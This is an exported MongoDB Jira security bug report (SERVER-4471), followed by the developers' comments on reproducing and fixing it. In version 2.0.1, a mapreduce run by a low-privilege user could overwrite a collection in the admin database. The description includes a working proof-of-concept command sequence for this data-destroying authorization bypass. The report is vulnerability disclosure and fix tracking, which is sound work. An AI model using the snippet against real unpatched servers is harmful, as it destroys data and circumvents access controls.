[SERVER-4471] [SECURITY] MapReduce able to overwrite any collection in any db regardless of authentication Created: 11/Dec/11  Updated: 11/Jul/16  Resolved: 22/Dec/11

Status: Closed
Project: Core Server
Component/s: MapReduce, Security
Affects Version/s: 2.0.1
Fix Version/s: 2.1.0

Type: Bug Priority: Major - P3
Reporter: György Nagy Assignee: Antoine Girbal
Resolution: Done Votes: 0
Labels: None
Remaining Estimate: Not Specified
Time Spent: Not Specified
Original Estimate: Not Specified

Attachments: File StatMaker.js    
Operating System: ALL
Participants:

 Description   

use admin;
db.addUser("admin", "strongpasswd");
db.importantCollection.insert(importantData);

use test;
db.addUser("testUser", "passwd");

restart mongo with authentication.

Now, with the next snippet you can wipe the admin db's importantCollection:
use test;
db.auth("testUser", "passwd");
db.test.insert(

{foo: "bar"}

);
db.runCommand({
mapreduce: "test",
map : function Map() {
emit(this._id, {});
},
reduce : function Reduce(key, values)

{ return values[0]; }

,
out :

{ replace: "importantCollection", db: "admin" }

,
});

In short: you run a M/R on a collection that you have access, but the output is an other db's collection that you have no rights to read or write.



 Comments   
Comment by Antoine Girbal [ 22/Dec/11 ]

was already fixed, added test

Comment by auto [ 22/Dec/11 ]

Author:

{u'login': u'agirbal', u'name': u'agirbal', u'email': u'antoine@10gen.com'}

Message: SERVER-4471: added test
Branch: master
https://github.com/mongodb/mongo/commit/dbcbb1463d9fa951d2d13bd3346dd9d2d95dc9e2

Comment by Antoine Girbal [ 22/Dec/11 ]

thanks for the example.
I was incorrect with my previous test: with 2.0.1 I can get MR to overwrite a collection in admin.
But with current master branch, an exception is correctly raised.
I will add a test for it, and we may need to identify commit and backport to 2.0.

com.mongodb.CommandResult$CommandFailure: command failed [command failed [mapreduce]

{ "serverUsed" : "localhost:27017" , "errmsg" : "exception: unauthorized db:admin lock type:1 client:127.0.0.1" , "code" : 10057 , "ok" : 0.0}

at com.mongodb.CommandResult.getException(CommandResult.java:75)
at com.mongodb.CommandResult.throwOnError(CommandResult.java:121)
at org.mongo.jmongob.CollectionPanel$3.doRun(CollectionPanel.java:345)
at org.mongo.jmongob.DbJob$1.doInBackground(DbJob.java:62)
at javax.swing.SwingWorker$1.call(SwingWorker.java:291)
at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334)
at java.util.concurrent.FutureTask.run(FutureTask.java:166)
at javax.swing.SwingWorker.run(SwingWorker.java:330)
at com.edgytech.swingfast.ScalableThreadPool$ScalableThreadpoolWorker.run(ScalableThreadPool.java:48)
at java.lang.Thread.run(Thread.java:679)

Comment by György Nagy [ 18/Dec/11 ]

Attaching my working example. I have a server that has 3 db: admin, stats and tuner_db. All db has a user and authentication is turned on.
'tuner_db' stores the raw data, and the script do various M/Rs to collects statistics that goes to the 'stats' db.
In the script there is an out_db variable that by default is 'stats', but if i change it(as in the uploaded file) to 'admin' it works too, and without any authentication the final collections will be stored in the 'admin' db.
I run the script with mongo: 'mongo serveraddress:27017/tuner_db StatMaker.js'.

I hope this will be a better example than the previos one.

Comment by Antoine Girbal [ 17/Dec/11 ]

I cannot reproduce this with either 2.0.1 or master.
Are you positive that you were not still authenticated to the admin db?
If you only restart the server but not the client, the client still remembers your auth and with reauth on new connections.

command:

test.test / M/R: { "mapreduce" : "test" , "map" : "function() {\n  emit(this._id, 1);\n}" , "reduce" : "function(k,vals) {\n     var total=0;\n     vals.forEach(function(i) {\ntotal = myadd(total, i);\n     });\n\n     return total;\n}" , "verbose" : true , "out" : { "replace" : "mrtest4" , "db" : "admin"}}

With 2.0.1:

com.mongodb.MongoException: unauthorized db:admin lock type:-1 client:127.0.0.1
at com.mongodb.MongoException.parse(MongoException.java:82)
at com.mongodb.DBApiLayer$MyCollection.__find(DBApiLayer.java:312)
at com.mongodb.DBCursor._check(DBCursor.java:369)
at com.mongodb.DBCursor._hasNext(DBCursor.java:498)
at com.mongodb.DBCursor.hasNext(DBCursor.java:523)
at org.mongo.jmongob.DocView$2.doRun(DocView.java:328)
at org.mongo.jmongob.DbJob$1.doInBackground(DbJob.java:62)
at javax.swing.SwingWorker$1.call(SwingWorker.java:291)
at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334)
at java.util.concurrent.FutureTask.run(FutureTask.java:166)
at javax.swing.SwingWorker.run(SwingWorker.java:330)
at com.edgytech.swingfast.ScalableThreadPool$ScalableThreadpoolWorker.run(ScalableThreadPool.java:48)
at java.lang.Thread.run(Thread.java:679)

with master:

com.mongodb.CommandResult$CommandFailure: command failed [command failed [mapreduce]

{ "serverUsed" : "localhost:27017" , "errmsg" : "exception: unauthorized db:admin lock type:1 client:127.0.0.1" , "code" : 10057 , "ok" : 0.0}

at com.mongodb.CommandResult.getException(CommandResult.java:75)
at com.mongodb.CommandResult.throwOnError(CommandResult.java:121)
at org.mongo.jmongob.CollectionPanel$3.doRun(CollectionPanel.java:345)
at org.mongo.jmongob.DbJob$1.doInBackground(DbJob.java:62)
at javax.swing.SwingWorker$1.call(SwingWorker.java:291)
at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334)
at java.util.concurrent.FutureTask.run(FutureTask.java:166)
at javax.swing.SwingWorker.run(SwingWorker.java:330)
at com.edgytech.swingfast.ScalableThreadPool$ScalableThreadpoolWorker.run(ScalableThreadPool.java:48)
at java.lang.Thread.run(Thread.java:679)

Generated at Thu Feb 08 03:06:05 UTC 2024 using Jira 9.7.1#970001-sha1:2222b88b221c4928ef0de3161136cc90c8356a66.